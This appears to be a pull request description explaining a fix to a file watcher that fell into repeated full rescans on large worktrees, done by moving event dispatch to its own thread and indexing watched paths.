On large worktrees, normal fs activity (like a `git checkout`) could send the file watcher in to a rescan thrash: we processed each event on the thread that reads events from the OS, and each event was checked against every watched directory. On big projects this was too slow to keep up, so the OS event buffer overflowed and dropped events, and a dropped event forces a full rescan - creating this unbounded loop. This PR moves dispatch onto a dedicated `fs-watcher-dispatch` thread. The reading thread now only drops `Access` events and forwards the rest, so it should stay fast enough to keep draining the kernel queue and bursty fs behaviour won't cause an overflow. In addition, we now index registrations by watched path. Instead of waking up every watched folder whenever any file changes anywhere, we now only wake up the folders that actually contain the changed file. Closes FR-31. Related to #57042. Release Notes: - Improved file watcher performance on large worktrees |